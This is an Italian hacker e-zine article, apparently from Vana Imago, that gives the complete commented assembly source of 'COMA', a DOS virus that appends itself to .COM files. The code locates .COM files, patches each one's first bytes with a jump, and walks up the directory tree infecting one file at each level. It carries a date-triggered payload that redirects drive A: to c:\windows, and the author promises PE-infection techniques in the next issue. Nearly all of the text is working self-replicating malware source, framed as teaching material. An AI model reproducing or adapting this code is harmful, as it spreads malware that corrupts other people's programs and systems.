Copy Link
Add to Bookmark
Report

Vana Imago 0 41

eZine's profile picture
Published in 
Vana Imago
 · 5 years ago

  

;       COMA - di ElectroRipper                                                 ;                                                                               ; Questo Š un virus di esempio che ho scritto per l'e-zine, ma avrebbe          ; vita brevissima se diffuso per prima cosa perche' infetta solo files .COM     ; (che con wintendo stanno sparendo dalla circolazione) e non usa nessuna       ; tecnica per nascondersi.                                                      ; Quindi a solo scopo didattico per chi vuole imparare a fare un virus          ; di appending... il codice e' cosi' semplice da capire che quasi mi            ; vergogno :)                                                                   ; Infetta i files COM sovrascrivendo i primi bytes con un salto al codice       ; virale, che infetta il primo file COM della directory e poi                   ; comincia a risalire le directory infettando ogni volta il primo COM della     ; directory, fino ad arrivare alla directory principale. Poi torner…            ; nella directory di partenza. Infine ripristiner… i primi bytes del file       ; originale e lo eseguir… per non far nascere sospetti.                         ;                                                                               ;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!       ; Non perdetevi il prossimo numero perchŠ spiegher• come infettare i file       ; .EXE di Windows95 (PE). Per ora se siete newbies cercate di capire come       ; funziona questo perchŠ vi assicuro che l'appending a eseguibili di            ; Windows Š mooooolto pi— difficile da capire.                                  ;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!       ;                                                                               ;                                                                               ;                ElectroRipper                                                                                                                                                                                                                  codice segment 'code'                                                           org 100h                                                                        assume cs:codice,ds:codice,es:codice                                                                                                                            start proc far                                                                                                                                                  lunghezza equ fine-via   ; Cosi' sa la dimensione del virus                                                                                                     via:                                                                            db 90h, 90h, 90h, 90h, 90h                                                                                                                                      QUA:                                                                            CALL NOFINE                                                                     CALL FINE2                                                                      NOFINE:                                                                                                                                                                                                                                         PUSH cs                                                                         PUSH cs                                                                         POP ds                                                                          POP es                                                                                                                                                          CALL niente                                                                                                                                                     niente:                                                                                                                                                                                                                                         POP  BP                                                                         SUB  BP, OFFSET niente      ; Per avere il delta offset                                                                                                                                                                                         LEA SI,BP+iniziale                                                              MOV AH,47h                                                                      MOV DL,0                                                                        INT 21h                     ; Per ricordarsi da che directory Š partito                                                                                                                                                                                                                                                         infetta:                                                                                                                                                        MOV AH,4eh              ; Trova il primo file della directory con estensione    LEA DX,BP+comfile       ; .COM                                                  MOV CX,0000h                                                                    INT 21h                                                                                                                                                         MOV AH,3dh              ; Apre il file                                          MOV AL,00000010b                                                                MOV DX,009eh            ; (Il nome del file trovato sta nel DTA)                INT 21h                                                                         PUSH AX                                                                         POP BX                  ; L'handle ci serve in bx                                                                                                               LEA DI,BP+iprimitretmp                                                          LEA SI,BP+iprimitre                                                             MOV CX,3                                                                        REP MOVSB           ; Conserva i primi 3 bytes del file gia' infettato                                                                                          MOV AH,3fh                                                                      MOV CX,3                                                                        LEA DX,BP+iprimitre  ; Schiaffa i primi 3 bytes del file originale              INT 21h              ; nello spazio di iprimitre                                                                                                                                                                                                                                                                                MOV AX,4200h            ; Torniamo all'inizio del file                          MOV CX,0                                                                        MOV DX,0                                                                        INT 21h                                                                                                                                                         MOV AH,40h                                                                      MOV CX,1                                                                        LEA DX,BP+jump                                                                  INT 21h                 ; Scrive l'istruzione JMP                                                                                                                                                                                               LEA DI,BP+dimensione                                                            MOV SI,009ah                                                                    MOV CX,4                                                                        REP MOVSB                                                                                                                                                                                                                                       MOV AH,40h                                                                      MOV CX,2                                                                        LEA DX,BP+dimensione                                                            INT 21h                    ; I due byte che seguono il JMP (l'indirizzo)                                                                                                                                                                                                                                                                                                                                        MOV AX,4202h               ; Alla fine del file                                 MOV CX,0                                                                        MOV DX,0                                                                        INT 21h                                                                                                                                                                                                                                         MOV AH,40h                                                                      MOV CX,lunghezza        ; La dimensione del codice virale                       LEA DX,BP+via           ; Inizio del virus                                      INT 21h                 ; Scrive il virus                                                                                                                                                                                                       MOV AH,3Eh                 ; Ole' ! Chiudi il file                              INT 21h                                                                                                                                                                                                                                         LEA SI,BP+iprimitretmp                                                          LEA DI,BP+iprimitre                                                             MOV CX,3                                                                        REP MOVSB           ; Riprende i primi 3 bytes del file eseguito                                                                                                                                                                                MOV AH,2Ah                                                                      INT 21H                                                                         CMP DL,12                                                                       JE  bomba  ; Se Š il 12 del mese scatta la bomba....                            JMP nobomba                                                                     bomba:                                                                                                                                                          MOV AX,71AAh        ; La bomba in questione in realt… Š innocua e               MOV BH,0            ; pacifica, semplicemente sotto windows                     MOV BL,1            ; fa un subst all'unit… A:                                  LEA DX,BP+path      ; (per i lamer : vuol dire che quando l'utente cerca        INT 21h             ;  di accedere all'unit… in realt… accede al percorso                           ;  virtuale ad esso assegnato, in questo caso quando                            ;  si cerca di accedere al floppy disk in realt… si                             ;  finisce sempre in c:\windows)                                                                                                            nobomba:                                                                                                                                                                                                                                        LEA DX,BP+indietro                                                              MOV AH,3Bh                                                                      INT 21h             ; Va nella directory superiore                                                                                                                                                                                              LEA SI,BP+vediamo                                                               MOV AH,47h                                                                      MOV DL,0                                                                        INT 21h                                                                         LEA SI,BP+vediamo                                                               LODSB                                                                           CMP AL,''                                                                       JE ORABASTA         ; Se e' arrivato alla directory principale si ferma                                                                                                                                                                         JMP infetta         ; ...altrimenti infetta il primo .COM della directory                                                                                       orabasta:                                                                                                                                                       LEA DX,BP+iniziale  ; Ritorna alla directory dalla quale Š partito              MOV AH,3Bh                                                                      INT 21h                                                                                                                                                         LEA SI,BP+iprimitre     ; Rimette i primi 3 bytes del file                      MOV DI,100h             ; originale al loro posto (in memoria)                  MOV CX,3                                                                        REP MOVSB                                                                                                                                                                                                                                       LEA DI,BP+QUA                                                                   MOV AL,90h                                                                      MOV CX,3       ; Elimina la chiamata a NOFINE (cosi' il capostipite infetta     REP STOSB      ; una sola volta)                                                                                                                                                                                                                                                                                                MOV AX,100h                                                                     JMP AX            ; Ritorna al programma originale                                                                                                              FINE2:                                                                          MOV AX,4C00h                                                                    INT 21h           ; Il capostipite termina normalmente                                                                                                                                                                                          iniziale db 64 dup (?)                                                          vediamo db 64 dup (?)                                                           iprimitre db 3 dup (?)           ; Qua vanno a finire quei famosi bytes...      iprimitretmp db 3 dup(?)                                                        dimensione dw 2 dup (?)                                                         jump db 'é',0                       ; L'asci per l'istruzione JMP               comfile db '*.COM',0                                                            messaggio db 'COMA - di ElectroRipper'  ; Pubblicit…                            indietro db '..',0                                                              path db 'c:\windows',0                                                          fine:                   ; Ok! Qua finisce                                                                                                                                                                                                       start endp                                                                      codice ends                                                                     end via                                                                                                                                                         

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT